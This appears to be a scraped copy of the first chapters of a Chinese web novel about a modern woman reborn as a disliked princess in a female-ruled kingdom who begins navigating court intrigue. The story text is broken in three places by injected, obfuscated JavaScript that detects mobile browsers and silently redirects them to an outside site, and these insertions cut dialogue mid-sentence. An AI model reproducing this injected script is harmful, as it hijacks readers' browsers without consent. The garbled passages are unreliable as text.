《恶女开局?她偏要逆袭登基》 1. 穿越 宁都,昭妧帝姬府。 夜色如墨,庭院之中却是灯火通明,香烟缭绕。天际犹挂残月一抹,银灰淡淡,透过稀疏的云层,洒落在法坛上。 四周挂满驱邪避凶的符咒和祈福幡旗。 几位玄衣道姑神情凝肃、衣袂飘飘,或执法剑,或握玉磬,口中念念有词。 一场庄严的法事正在此间进行。 随着咒语的响起,长风顿起,星辰隐退,天空涌现异彩…… 寝殿内,两位年轻男子端坐于案前,埋头抄写着疏文。二人一袭素净衣袍,身影被烛光拉得细长而摇曳。 “清醮大礼已行至第六日了,殿下……仍未有起色。” 夜渐深,兰秋白腕子微酸,稍停笔,抬眼望向窗外明灭的法坛火光。 “连太医院都束手无策,如今,也只盼上天垂怜,诸真护佑。” “兰哥哥就是心肠太软,还盼着她醒?”柳松松撇撇嘴,将手中墨锭“啪”地一搁。 “殿下平日如何待我们?哥哥莫非忘了?我看呐,她就这么睡着,大家反倒清净自在……” “松松!”兰秋白断然低喝,“此等妄言,也是能说出口的?殿下天潢贵胄,岂容你我置喙安危?更何况……” 他语气稍缓:“殿下若真有何不测,你我,乃至这满府之人,又如何能独善其身?” 柳松松被他一喝,先是一怔,随即红了眼圈。 他委屈地拈起帕子按了按眼角,嘟囔道:“我……我不过是随口一说,心里怕得紧,兰哥哥就会凶人家。” 兰秋白不再看他,重新垂眸凝向案上疏文,将万千心绪压入笔锋。只是那笔尖,终究几不可察地颤了一下。 当初,兰家为向势大的二殿下表忠心,将他这不受待见的男儿,作为及笄贺礼,塞进了帝姬府。 他知自己容色尚算出众,一双巧手尤擅庖厨之艺。 若能博得帝姬青眼,往后纵使无缘侧君之位,即便仅做个寻常小侍,亦胜过待在兰家。 奈何帝姬性情暴戾,时常因琐事雷霆震怒。书房里砸碎的砚台和撕毁的书画,不知凡几。 她从未碰过他,也未碰过后来的柳松松,甚至不许他们近身侍奉,只打发他们做些添茶倒水整理内务的杂活。 记得那一次,帝姬醉酒归来,盯着他的脸看了半晌,眼神痴迷又怨恨,突然将滚烫的茶盏砸到他脚边。 飞溅的碎片混着热水,在他手背上烫出一道红痕。 而她只是冷笑道:“赝品就是赝品,简直令人作呕!” 直到后来,日子久了,他们渐渐知晓所谓真相。 原来他二人,一个眉眼神韵,一个嘴角弧度,竟都与那武安侯府的宋小侯爷有几分微妙的相似。 宋小侯爷美如冠玉,其母在朝中威望极高,是帝姬求而不得寤寐思服的心上人。 要命的是,帝姬每每受到小侯爷冷遇,或是听闻了与其有关的消息,回府后便会将这无名邪火,尽数倾泻在他们身上。 所以,他们被留在府里,仅仅是因为这张脸。这点可悲的相似,能让她在暴怒时,有一个可以肆意凌辱的替身。 争宠?上位?早已是无人再敢生出的妄念。 如今所盼,不过是能在这无常的雷霆之下,苟全性命,求得一丝微不足道的安稳度日。 沉寂片刻,又听柳松松神神秘秘道:“哥哥可曾听到什么风言风语?” “我听说……”他压低了嗓音,“帝姬此番坠马,恐怕并非意外,而是有人蓄意为之。” 软榻上,昭妧帝姬不知何时悄然苏醒,她的脸色略显苍白,而那双睁开的眼瞳,却是清澈冷静得异常。 外间的对话,一字不落,悉数收入扶盈耳中。 借烛光环顾四周,目光所及之处,无一不透露出古雅与奢华。随即,记忆片段如同走马灯般,在脑中凭空涌现。 内心虽震惊无比,但不得不承认…… 她穿越了! 这里是个名为虞国的女尊国家,原主也叫扶盈,乃当今圣上的五皇女,因自幼得宠加封为昭妧帝姬。 依照祖制,皇女通常不知生父,国主会指派信任且贤德的高位君侍来抚养。唯有二皇女是例外,由其生父皇贵君亲自教养。 而原主,是另一个例外。 其生父臻荣君,当年宠冠六宫,可惜福薄早逝。国主怜其幼失怙恃,破格也将她交给了皇贵君抚养。 记忆里,皇贵君待她极好,好到近乎溺爱。 无论她闯下多大的祸事,皇贵君总是轻描淡写地替她抹平,最多不过一句无奈的“盈儿还小,性子活泼些”罢了。 在这般毫无底线的纵容下,原主长成了一个彻头彻尾的混世魔王。 满宁都皆知,昭妧帝姬是块甩不掉的滚刀肉,尤其对宋家的小侯爷情有独钟,扬言非其不娶。 二人上演了一出他逃她追,他插翅难飞的戏码。 而此番坠马的导火索,不过是有人无意中向她透露,小侯爷与旁的女子走近了些,并且相谈甚欢。 原主一怒之下跑去“捉奸”,当街鞭笞小侯爷,更殃及池鱼,令那女子重伤卧床。 回府后,她借酒浇愁,醉意醺然间不顾劝阻,执意策马直奔北苑马场…… 记忆的最后,是失控的马匹,是耳边呼啸的风声,是眼前闪过的幢幢鬼影,以及坠地时彻骨的剧痛。 一夜无眠。 天亮时分,扶盈不再躺着。她翻身下床,慢慢活动四肢,适应着这具新的身体。 “吱呀——” 房门被轻轻推开,来人容貌清丽,眉眼间带着几分干练,正是原主身边的一等大侍女。 “殿下!您醒了!” 星罗面露喜色,手中水盆险些脱手:“您感觉怎么样?可有哪里不适?婢子这就去传太医。” “无妨,感觉好多了。”扶盈学着原主平日骄纵的语气,又刻意带上些许虚弱,“只是有点饿了。” “殿下稍后,婢子这就去传膳,再派人往宫里报个信,您好生歇着。” 星罗仔细看了看主子的脸色,确认她精神尚可,匆匆行礼退下,脚步都轻快了几分。 用过早膳后,扶盈略作整理,便唤上星罗准备出府,看看能否找到关于坠马事件的线索。 行至院中,一眼便瞧见了跪在冰凉青石板上的兰秋白和柳松松。她想起来,夜里听到的谈话声正是出自他们口中。 星罗紧随其后,解释道:“殿下曾下令,罚二人每日跪两个时辰,您昏迷这几日,惩罚便延续至今。” 扶盈虽继承了原主身份,但毕竟来自人人平等的现代社会,见此情景,心中顿生怜悯之情。 她缓步走近,心下不由一叹,原主还真是……暴殄天物。 这要搁现代,高低得进娱乐圈,完全不输男明星啊。连平替都长成这个样子,此刻她无比想亲眼一睹正主宋小侯爷的风姿。 柳松松先看见扶盈,眼睛一亮,又立刻低下头,做出恭顺畏惧的样子。 兰秋白似乎察觉到有人走近,身体微微一僵,依旧跪得笔直。 “都起来吧。”扶盈开口,语气平和,“本帝姬心情好,今日起,这罚跪的规矩免了。” 两人俱是一愣。 怎么也没想到,帝姬会突然苏醒,还破天荒地免去了责罚,不由怀疑起自己的耳朵。 柳松松率先反应过来,脸上堆起讨好的笑容,却不敢动:“殿下仁慈!只是……只是奴侍不敢。奴侍惹怒了殿下,合该受罚!” 兰秋白长睫低垂,唇瓣紧抿着。在他看来,这不过是帝姬的反话,是新的折磨方式。 扶盈微微蹙眉,原主的阴影看来不是一般深。她加重了点语气:“本殿说,起来。从前之事,过去了。” 柳松松这才诚惶诚恐地谢恩,奈何双腿早已麻木不堪,刚一动弹,便酸软得让他龇牙咧嘴。 而一旁的兰秋白,似乎情况更糟。他尝试用手撑地,非但没能站起来,反而失去平衡,软软地朝一侧栽倒下去。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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同时又为原主感到惋惜,若真有人刻意为之,因她穿越而失算,难保不会再出手。皇贵君名为她的父君,实则其心可诛,不就是在捧杀吗? 一个德行有亏、人心尽失的皇女,自不配角逐储位。 她本无意参与斗争,但别人要灭她,那她必须迎战。不光为了活下去,还要赢得漂亮。 马车一路疾行,抵达了皇家北苑的马场。此处占地极广,平日乃是皇女贵胄们跑马习武之地。 扶盈刻意未让人通报,二人直奔主事值房。 马场主事是个面容圆润的中年妇人,正打着哈欠核对账簿。抬头见扶盈立于门前,惊得手里毛笔“啪嗒”掉在账本上,染黑一大片数字。 “殿、殿下金安!” 主事慌忙起身行礼,膝盖撞在桌角也顾不上疼:“您怎么亲自来了?这……可真是折煞下官了!殿下若有吩咐,派人传唤一声便是……” “本殿要查追电失控一事。”扶盈懒得与她虚与委蛇,开门见山。 “将当日,所有接触过追电的人,全部叫来问话。包括后续的处理记录,还有经手人员名单,本殿要一一过目。” “殿下,惊马之事……在所难免。下官彻查过了,那日属实意外。” 主事笑容一僵,搓着手道:“追电突发癫狂,已被当场处决,相关人等也都按失职论处了。殿下洪福齐天,安然无恙便是万幸,这些晦气事何必再……” 扶盈并未立即回应,而是以一种审视的姿态打量着对方。提及追电,心头涌起一股复杂情绪。 那是原主爱骑,因奔跑时迅疾如电而得名,如今却成了无辜牺牲品。 这主事言辞闪烁,避重就轻,句句是近乎欲盖弥彰的推诿,并试图打消她追查的念头。 “意外?” 扶盈眸光转冷,语气多了几分寒意:“本帝姬坠马昏迷数日,你却在此轻描淡写一句意外便想搪塞过去?是觉得本殿昏聩可欺?还是认为本殿奈何不了你?” 她顿了顿,向前逼近一步。 “亦或是,背后有人授意你,将此事尽快了结,不得深究?” 主事顿时头皮发麻,腿一软,扑通跪倒在地。 “殿下明鉴!下官、下官万万不敢!只是……只是此事发生后,圣上关切,特命二皇女亲自督办。二殿下明察秋毫,最终……最终定论确是意外。” 她几乎是哭喊出来:“下官、下官人微言轻,岂敢质疑上意啊殿下!” 2. 联姻 二皇女督办,按意外处理。即便如此,扶盈仍耐着性子,带星罗几乎查遍了马场的每一个角落。 马厩、料槽、鞍具房、驯马场……意料之中,一无所获。 二皇女做事滴水不漏,必然将首尾处理得极为干净。身为长女的她,武艺出众,胆色过人,父君又是后宫之主,因而在朝中支持者颇多,势力不如小觑。 原主虽说不成器,恣意妄为,但国主因其父缘故,对她多有偏爱,无形中成了二皇女最大的绊脚石。 扶盈内心感叹,活人永远争不过死人,这就是所谓白月光的杀伤力啊。 如今,国主尚未册立太女,立储之争暗流涌动。除掉原主,得益最大者,不言而喻。 若非自己穿越而来,昭妧帝姬昏迷至死,任谁查,也最多落个马匹失控、意外身亡的结论。二皇女甚至不必亲自动手,便能兵不血刃。 皇室之中,什么手足情深历来是个笑话。 扶盈深吸口气,正欲转身离去,目光却被不远处几匹聚在一起悠闲啃食嫩草的骏马吸引。 许是受到肌肉记忆的影响,让她一时兴起,下意识地走了过去。 她伸出手,抚摸着白马的鬃毛。马儿似乎也很享受,甩了甩尾巴,又低下头轻蹭她的手背,发出一声愉悦的嘶鸣。 “真是一匹好马。”扶盈转头对星罗说道,“瞧它眼神清澈,步伐稳健。” 话音未落,只听耳边“咻”一声闪过,速度之快令人咋舌。 紧接着,白马发出一声凄厉痛苦的悲鸣,身体猛地一颤,猝不及防倒地。 “殿下,小心啊!”星罗惊呼道。 扶盈的心瞬间提到嗓子眼,她定睛一看。 白马四肢剧烈抽搐,腹部赫然插着一支锋利的箭矢,鲜血正顺着伤口汩汩流出,染红了洁白的毛发。 而那支箭,几乎贴着她的发梢掠过,留下一缕断发在空中缓缓飘落。 不远处,一名女子端坐于骏马之上,身后跟着数名精悍的侍从。她手中长弓虽已放下,但弓身仍微微颤抖,显露出方才射箭的余威。 星罗见状,赶忙上前行礼:“二殿下安好。” 扶盈立于原地,轻抚着被箭风擦过的脸颊,方才只要偏离一寸,此刻倒在地上的就不仅是那匹马了。 她抬起苍白的脸,挤出一丝牵强的笑:“二、二皇姐,好巧。” “五皇妹倒是好雅兴,坠马初醒便有兴致来这马场与畜生嬉戏?”二皇女居高临下,唇角噙着一抹似笑非笑的弧度。 “只是这马场里的畜生,野性难驯,方才若不是皇姐我手快,这不知轻重的畜生万一冲撞了你,可如何是好?” 她的目光扫过渐渐停止抽搐的马尸,语气轻缓:“就像前几日五妹的那匹追电一样,平日里看着温顺,发起狂来真是吓人。” “不过五妹放心,马场那群怠职的狗奴才,皇姐已替你处置干净,断不会再碍你的眼。” 扶盈心中一凛,袖底双手瞬间攥紧。轻飘飘的一句话,彻底斩断了追查坠马真相的可能。 她很清楚,此刻敌我悬殊,任何直接的指控或反击,都无异于以卵击石,只会让自己陷入更危险的境地。 硬碰硬绝非上策,她需要的是藏锋守拙,让二皇女确信她已彻底出局。而真正的进攻,往往始于对手放松警惕之时。 “皇姐你看!这破地方就没有一匹省心的马!前有追电发疯,现在这畜生又不知好歹!吓死我了!” 扶盈对着二皇女厉声抱怨,假装听不出她话中的深意:“那些该死的下人理应重重责罚!皇姐处置得对!” 二皇女审视着她这番作态,眼底的探究稍稍淡化,取而代之是一丝难以察觉的轻蔑与满意。 扶盈适时地垂下眼帘,声音微弱带着茫然:“追电……它上次,我记不清了……只记得它好像很疼……一直在叫……” “五妹受惊了。” 二皇女笑意加深,语气愈发温和:“既如此,便早些回府歇着罢。马场晦气,若再出了什么意外,可不见得次次都有好运气。” 话音落下,她调转马头,在一众侍从的簇拥下扬长而去。 直到那队人马消失在视野尽头,扶盈挺直的脊背才松弛下来。 虽然很不想承认此刻有些腿软,但一切发生得过于突然,这还是她头一回体验到与死神擦肩而过的感觉。 她低头,看着衣摆上刺目的鲜血,又望向地上逐渐冰冷的马尸。 好险辣的试探!二皇女此举,既是警告,也是确认。 心念定转间,扶盈已定了主意。她既然成了昭妧帝姬,这笔血债,早晚要向扶央讨回来! 回到府邸,下人们见扶盈归来,纷纷低头避让,带着难以掩饰的惶恐。殿下醒是醒了,可谁也不知道,这究竟是福是祸。 扶盈径直入了正厅,对侍女说道:“去,将府中各处管事及近前伺候的人都唤来。” 不过一盏茶的功夫,厅内便黑压压站了二三十人,个个屏息垂首,不敢言语。 扶盈端坐主位,开口先行安抚。众人闻言,稍稍松了口气,却仍不敢大意。 “本殿知道,此前府中规矩严了些。往后,只要你们忠心办事,安分守己,本殿亦非不能体恤下属。待诸事平稳,月钱加倍,年节赏赐也不会少了大家的。” “可若是……”她话音顿住,指尖在木椅扶手上轻轻一叩,惊得几个胆小的微微一颤。 “若是有人心怀叵测,或懈怠渎职,那就休怪本殿不讲情面。” 一番操作,恩威并施,软硬兼吃。既借了原主的余威震慑,又画下一张足够诱人的大饼。 这现代职场惯用的手段,如今放在古人身上,效果似乎同样显著。 下人们脸上惧色稍褪,多了几分活泛与期盼,纷纷跪地表忠心:“谨遵殿下吩咐!定当尽心竭力!” 打发了众人,扶盈靠在椅背上,揉了揉眉心。她挥挥手,让星罗也先去歇着,独自一人留在厅中。 这穿越第一日,可谓是惊心动魄。应付这些人情世故,比连续通宵赶稿还要累。 待冷静下来,马场那一幕再度浮现在眼前。二皇女的出现,太快,太巧了。 她醒来的消息,由星罗遣人入宫向国主报平安,指派的是府中老人,按说不会出问题。况且,为了不张扬,她一早出去走得还是侧门。 如此说来,只剩一种可能…… 要么,是马场主事暗中通风报信,要么,是这帝姬府早已在她人监视之下。想来,安插几个眼线,对无孔不入的二皇女来说,岂不是手拿把掐? 门外传来通报声,说是宫里的姑姑到了。 扶盈去换了身衣裳,匆匆移步前厅。一番程式化寒暄后,姑姑传达了国主的口谕。 大意是:听闻她苏醒,国主甚感欣慰,特命她安心静养,不必急于入宫请安,当以身体为重。 末了,还赏赐了诸多名贵进补品给她。 扶盈恭顺谢恩,从国主行为上看,对这个女儿尚算宽和。可若细品其言语,关怀之下,隐隐有对她莽撞惹事的不满。 潜台词是:人没事就好,安分待在府里养着,别又立刻出去惹事生非。 在原主的记忆中,母女二人本就感情淡薄。相反,她和养父皇贵君的关系更为亲近。 然而,扶盈深知,生于皇室,不能仅凭表面来判断一个人的真实意图。 接下来的时间里,她不露声色,默默留意身边所有仆从的言行,谁在真心担忧,谁在暗中窥探,谁又急于向外传递消息。 她以伺候不力为由,抓住一个二皇女眼线的错处,杀鸡儆猴,将其严惩并光明正大地逐了出去。 关于原主性情,她不能转变太突兀。坏到毫无争议的恶名,反倒方便了日后,但凡做丁点好事,都会是意外的惊喜。 转眼便到了进宫请安的日子。 一路宫阙重重,肃穆庄严。她心中虽有波澜,但好在早有准备,倒也不至于紧张失措。 “昭妧帝姬,到——” 来到国主的明华殿,随着一声悠长的通报,扶盈很快便被引了进去。没想到,皇贵君姚氏也在。 殿内其余宫人被屏退,此时只剩她们三人。 国主约莫四十大几,身着一袭赤金常服,领口绣有蟠螭暗纹,长眉如远山般入鬓,发冠未缀旒珠,却更衬出不怒自威的气势。 一侧的皇贵君温文尔雅,保养得宜的面容上带着和蔼笑意。 “儿臣参见母皇,愿母皇圣体康健,福泽绵长。”扶盈行礼,不卑不亢,“给父君请安。” 国主抬手示意,言道:“不必多礼,身子可好伶俐了?” 原主生父早逝,自那之后,母皇待她便不复从前,态度日渐疏离。 未几,宫中流言四起,皆道其父乃被秘密赐死。就连最受宠的昭妧帝姬,亦因此遭到冷落。 外加姚氏背后挑拨,母女缺乏良性沟通,关系一度降至冰点。长久以来的隔阂,让彼此难以轻易靠近。 但站在旁观者角度,扶盈认为,国主心里并非完全没有这个女儿。至少面对原主胡作非为,她向来睁只眼闭只眼,顶多是杖责加禁足,并未真的下令重罚。 “劳母皇挂心,已无大碍了。” “那就好,日后行事须得沉稳些,莫再如此毛躁,令朕与你父君担忧。” “圣上说的是。”不等扶盈回话,姚氏笑着接口,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489348|185780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盈儿这次可真是吓坏我们了,如今平安就好,平安就好啊。” 他说着,轻轻“哎呀”一声,状似无意地叹道:“说起来,宋小侯爷那事儿,怕是也让盈儿心里不痛快,这才……唉,年轻人气性盛些也是常情。” “只是盈儿,日后,万不可再那般冲动行事了。宋家那边,圣上虽替你安抚了下去,但终究是伤了和气。” 扶盈心下冷笑。 这姚氏表面一副慈父模样,实则贯会做戏,当着国主的面给她上眼药,好坐实她冲动无脑不堪大用的形象。 果不其然,国主猛地一拍桌案。 “盈儿,你可知错?”方才那点温和淡去,殿内气氛瞬间凝固。 “宋家曾为我虞国立下汗马功劳,武安侯又是朕的股肱之臣,你却当街伤其男儿,如此顽劣不堪,岂是皇女所为?” “儿臣知错。” 扶盈垂下眼帘,瘪嘴道:“是儿臣一时糊涂,行事荒唐,失了皇室体统。日后定当谨记母皇与父君教诲,绝不再犯。” 此言一出,姚氏脸上闪过一丝错愕,显然未料到扶盈会如此干脆认错。 国主亦是神色微动,指尖在茶盏边缘摩挲着。这盈儿痴缠宋连蘅多年,俨然成了全宁都的笑柄。 平日里但凡涉及此事,她绝不会轻易退让低头。母女二人本就有嫌隙,又常为此闹得不欢而散。 并非她不愿赐婚,那宋连蘅出自武将世家,性子刚烈,非良配也。还是要纳个温良恭顺的来为女儿正君,或许能让她收收心,学着稳重些。 “圣上息怒。”姚氏适时开口,脸上带着恰到好处的忧色与恳切。 “臣侍想着,盈儿年岁渐长,性情却如孩提般跳脱易怒,或许正是因为府中空虚,身边没个体己人陪伴的缘故。” “皇贵君所言,不无道理。” 国主沉吟片刻,目光若有所思地扫过扶盈,顺着姚氏的话道:“盈儿啊,朕打算为你赐婚。” “你若应允,朕便宽恕你此次之过。若执意不从,便去那紫霄观闭门思过,静心反省一番罢。” 扶盈虽心有不甘,但也看得出来,这两人一唱一和,看似商量,实则早已定策。此刻不过是走个过场,意图强行将这桩婚事压下来。 紫霄观一听绝非好地方,自是万万去不得。如今羽翼未丰,当场拒绝很可能失了国主的心,届时顺了姚氏的意。 既无回旋余地,何不乐观面对。 开局送男友,按这剧情走向未必是坏事,只能寄希望于对方是个大帅哥,放在身边养养眼,倒也不算赔本。 “朕与皇贵君已为你择定人选。乃是安国前来求亲,愿入赘我朝的九皇子。” “安国虽不及我虞国,其皇子倒也称得上温文知礼,与你正相宜。”国主看向扶盈,目光带着不容置疑的威压。 “此事非同小可,关乎两国邦交,所以盈儿,母皇希望你能以大局为重。” 姚氏嘴角噙着一丝难以察觉的冷笑,将一个异国的失势皇子塞给心高气傲,非宋小侯爷不可的昭妧帝姬,她必定当场发作,大闹抗拒。 扶盈闻言,静默了片刻。 都被送来入赘联姻了,必然是个不受宠的,这到了她的地盘,那还不是任她拿捏。左不过日后寻个时机,两人和离便是。 “儿臣……谢母皇、父君劳心。安国皇子……既蒙母皇与父君看重,想必有其过人之处。” 她微微咬唇,显出一份落寞的顺从,又带着一丝若有似无的勉强:“儿臣……谨遵母皇安排。” 此言一出,姚氏脸上的笑容完全僵住,瞳孔微微一缩。 本以为扶盈会坚决反对,毕竟她对宋连蘅的痴迷整个宁都都知晓。可今日的她,不仅没和圣上对着干,甚至愿意放弃意中人,接受新的正君。 这丫头……何时转了性子?莫不是,经历了生死一遭,真的学乖了? 姚氏眼中精光一闪,笑容愈发和煦亲切:“哎呀,圣上您看,盈儿果然是懂事了!” “这安国九皇子啊,臣侍细细打听过,性子最是柔顺识礼,定能好好侍奉盈儿,打理内帷。虽不似宋家小郎那般能骑善射,引人注目,但正所谓娶夫娶贤,这过日子嘛,终究是安稳体贴最要紧。” “盈儿说是不是?” 扶盈睫毛轻颤,仿佛被刺痛:“父君……说的是。您为儿臣劳心筹划,儿臣自然感激不尽。” 这副模样,落在国主和皇贵君眼里,活脱脱便是心灰意冷认命服软。国主虽觉扶盈反应过于平静了些,但终究省心,便点了点头。 “既如此,甚好。旨意不日便会下达,盈儿且先回府待旨,好生准备罢。” “是,儿臣告退。” 3. 花楼 走出明华殿那令人窒息的氛围,春日阳光兜头洒下,微微驱散了周身的寒意。星罗候在廊下,见到扶盈,立刻快步迎上。 她观察主子脸色,压低声音急切地问:“殿下,可还顺利?” “小意思啦,轻松化解。” 扶盈看着她毫不作伪的担忧,竟产生一种莫名心安。她慢慢松开紧攥着的手,掌心黏黏糊糊的,有些潮湿感。 二人沿着宫道离去,未待走远,忽闻身后传来一声洪亮如钟的呼唤,中气十足。 “阿盈留步!” “阿盈!等一等!” 扶盈驻足回首,见一名身着银亮轻甲,腰佩长刀的将军正大步流星而来。她身量高挑,眉眼英气勃勃,肤色是常经风沙的蜜色。 来人正是原主挚友,宋小侯爷之姊——云骧将军宋连芜。 “好家伙,可算是见着活的了!” 对方几步便赶到近前,毫不拘礼地一拍扶盈肩膀,力道不轻,让扶盈吃痛地皱了皱眉。 “听说你坠马昏迷,我人在军营练兵,急得跳脚也没法脱身,如今瞧着你气色还行,没缺胳膊少腿,我就放心了!” 她嗓门洪亮,引得远处几个宫人侧目,她却浑然不觉,只顾着上下打量扶盈。 扶盈被她的热情感染,也不自觉笑了起来。原主记忆里,这位宋少将军是少数能与之真心相交,不计较她臭脾气的人。 “劳阿芜挂心,已无大碍了。倒是你,瞧着又黑瘦了些,军营辛苦。” “嗐!老样子,揍揍那帮不听话的小崽子,闲时喝酒吃肉,快活得很!”宋连芜大手一挥,随即又想起什么,脸上露出些歉意。 “本想早些去看你,奈何军务缠身,今日才得空进宫复命。你若无安排,晚上倚阑阁见,我请你喝酒压惊,算是赔罪!” 倚阑阁? 饶是扶盈初来乍到,对其名声亦有所耳闻。那并非寻常酒楼,而是一家高级综合性风雅娱乐场所。 身处古代这些日子,不是应付阴谋就是装乖卖巧,对着一群心思各异的古人,着实让她感到枯燥乏味。而且,没有手机网络的陪伴,生活仿佛按下慢放键。 此刻听得有地方去,还是信得过的好友相邀,她几乎毫不犹豫,爽快应下。 “好!一言为定!” “痛快!那可说定了!”宋连芜见她答应得干脆,更是高兴,又用力拍了拍她的胳膊,“我先去面圣了,晚上不见不散啊!” 说罢,便转身风风火火地大步而去,甲胄铿锵作响。 扶盈看着好友远去的背影,心情顿时轻快了几分,这日子总算添了些值得期待的活气。 傍晚时分,太阳西沉,天际铺陈开锦缎般的霞彩,白日的喧嚣渐渐沉淀为暮色的宁谧。 帝姬府的浴池内,水汽氤氲,暖香弥漫。 扶盈浸在洒满花瓣的温水中,闭目养神。星罗剥开一颗晶莹剔透的荔枝,小心地喂到她唇边。 身处古代,竟还能如此自在惬意地享受泡澡,实乃人生幸事之一啊。此时此刻,扶盈内心感到无比的满足。 她微微侧首,看向不远处磨得光亮的铜镜,镜中映出一张熟悉又陌生的脸庞。 这原主,眉眼与现代时的自己有七八分相似,只是轮廓更为精致锐利,带着养尊处优的骄矜底色。还有那满满胶原蛋白,以及未经历社会摧残的气质,是她这个大龄美少女所不及的。 恍惚间,穿越那日的记忆碎片猛地袭来。 一个平平无奇的夜里,她正为赶稿焦头烂额,呼吸却变得越来越急促,胸口像被巨石压住,随后便是无尽的黑暗与窒息…… 再睁眼,已是异世帝姬。 对于穿越一事,这年头见怪不怪了,所以她接受很快。既来之则战之,她的适应能力向来比较强。 只是当下,原主树敌颇多且无实权。她须得步步为营,至少要通过皇女大考,获入朝资格,方有对抗二皇女之资。 唉,还是珍惜这为数不多可短暂放松的日子吧。 沐浴完毕,扶盈换上一身常服,将墨发简单束起。刚收拾停当,就听外间传来侍女通报,说宋少将军已到府门外等候。 扶盈不由失笑,这宋连芜,像是怕她临时反悔不去,竟来得这般早。 她快步走出府门,果然见宋连芜正抱着手臂,靠在她那匹神骏的黑马旁,一身暗红色劲装,在暮色里显得格外醒目。 夜幕降临,华灯初上。二人并未直接前往倚阑阁,反而先拐入了邻近的夜市。 长街两侧灯火如龙,人声鼎沸。摊贩的吆喝声、食肆飘出的诱人香气、杂耍艺人周围的喝彩声交织在一起。 宋连芜拉着扶盈在人群中穿梭,时而买个刚出炉的胡饼塞给她,时而指着某处新奇玩意点评几句。 街道上,女子多为常态。 她们或穿着利落的轻便服饰,或身着锦缎长袍,纹饰大气,发髻高绾,以玉冠或金簪固定。还有些,明显是大户人家出身的,边上跟随一两个低眉顺眼捧着东西的侍男。 而男子们的装扮则截然不同。他们大多穿着颜色鲜亮或柔和的衣袍,衣料多用轻软的绸纱,宽袖飘飘。 发间往往簪着鲜花、玉簪或步摇,甚至有些还薄施脂粉、勾勒眉眼,行动间颇注重仪态,显得纤细文弱。 偶尔见有男子戴素纱帷帽,规规矩矩地跟在妻主身后,低声细语,与周围爽朗大气的女子们形成鲜明对比。 扶盈饶有兴致地打量这一切。这女尊国的风貌着实让她感到新奇有趣,尤其在切身体会之下,风土人情和她熟知的古代社会完全颠倒。 “看什么呢,瞧你这眼神,跟从未出过门似的。”宋连芜咬着个软糯青团,含糊不清地问。 扶盈收回目光,笑了笑:“没什么,只是觉得热闹,好看。” “这有什么好看的,吵吵嚷嚷。”宋连芜三两口吃完青团,拍拍手道,“走,带你去真正好玩的地方!” 言罢,便拉着扶盈挤出夜市,拐进一条稍显清净的巷弄。 巷弄尽头,是一座灯火通明的三层楼阁,檐角悬挂着琉璃灯,映照出匾额上三个龙飞凤舞的大字——倚阑阁。 与外面市井的喧闹相比,这里仿佛自成一方天地,丝竹管弦之声隐约可闻,空气飘散着淡淡的合香气味。 听说其前身只是家普通酒楼,经营多年,始终不温不火。约一年前,有位神秘东家斥重金盘下,经过大规模修葺和改造后,更名为倚阑阁重新开张。 踏入大门,一股酒液混合着脂粉味的气息扑面而来。一层大厅轩敞宽阔,中央高台上,数名轻纱曼裹、容色昳丽的少男郎正在翩跹起舞。 他们腰肢柔婉,水袖如流云舒卷,一颦一笑散发无限风韵。引得台下看客们目眩神迷,如痴如醉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哎哟!宋女君就是阔气!放心放心,保管让二位尽兴!雅间早就给您二位备好了,楼上请,楼上请!” 金子入手,鸨父脸上的媚笑顿时更真挚热切了几分,一边引着二人往楼梯走,一边热情介绍着。 三人拾级而上,直奔顶层。 楼梯口处垂着水晶珠帘,有护卫分别把守在两侧。见到苏爹爹带来客人,她们微微颔首,目光在扶盈和宋连芜身上快速扫过。 “这顶层啊,可不是谁都能上来的。”鸨父压低了些声音,语气中带着一丝炫耀,“光是富可不顶用,还得是这个……” 他翘起兰花指,隐晦地向上指了指。 “或是得了里头某位贵人的眼,才有资格踏进一步。寻常富商豪绅,连这楼梯口都摸不着边儿呢!” 扶盈心中了然,看来正是这种神秘感、高门槛,使得倚阑阁在短时间内声名鹊起,受到宁都权贵们的追捧,并以能进入其顶层为荣。 鸨父在一扇题着「漱玉」二字的门前停下,轻轻推开。 屋内精而不繁,环境雅致舒适,陈设布置相较前几层,更为奢华与考究。一侧还有个小巧露台,视野极佳,可俯瞰部分皇城夜景。 案几上摆放着琉璃酒具,几碟精致小食点缀其间。鎏金香炉静立一角,檀香丝缕缕逸散,在空气中织出薄而清的幽韵。 “二位贵客请先稍坐,用些酒水。这刚醒好的赤霞酿呀,最是醇厚呢。” 鸨父手脚麻利地斟上酒,笑道:“仆家先去安排一番,定寻些新鲜有趣的妙人儿来,保准不让女君失望。” 4. 风月 “还是这儿舒坦!楼下吵得我脑仁儿疼。”宋连芜仰头灌下一大口酒,满足地咂咂嘴。 “这赤霞酿就是带劲!军营里那帮糙娘们儿凑一块,除了呛死人的土烧,就是甜腻腻的桂花稠酒,解渴是解渴,可终究少了点……啧,少了点细腻滋味。” 她没明说,但那眼神里的意思分明是,少了点男人带来的风花雪月。 “阿芜,我敬你。”扶盈执起酒杯,神色认真了些,“有件事,我该当面向你赔个不是。” 宋连芜正要去捏一块杏仁酥,闻言动作一顿,疑惑道:“嗯?什么事?” “就是关于我先前……鞭打连蘅的那桩混账事。” “当时我猪油蒙了心,伤了他,也伤了两家的情分。改日,我定当备上厚礼,亲自登门向候姥还有连蘅赔罪。” 宋连芜先是一愣,随即摆了摆手:“嗐!我当什么事呢!那兔崽子自作自受,挨顿鞭子也算长记性!” 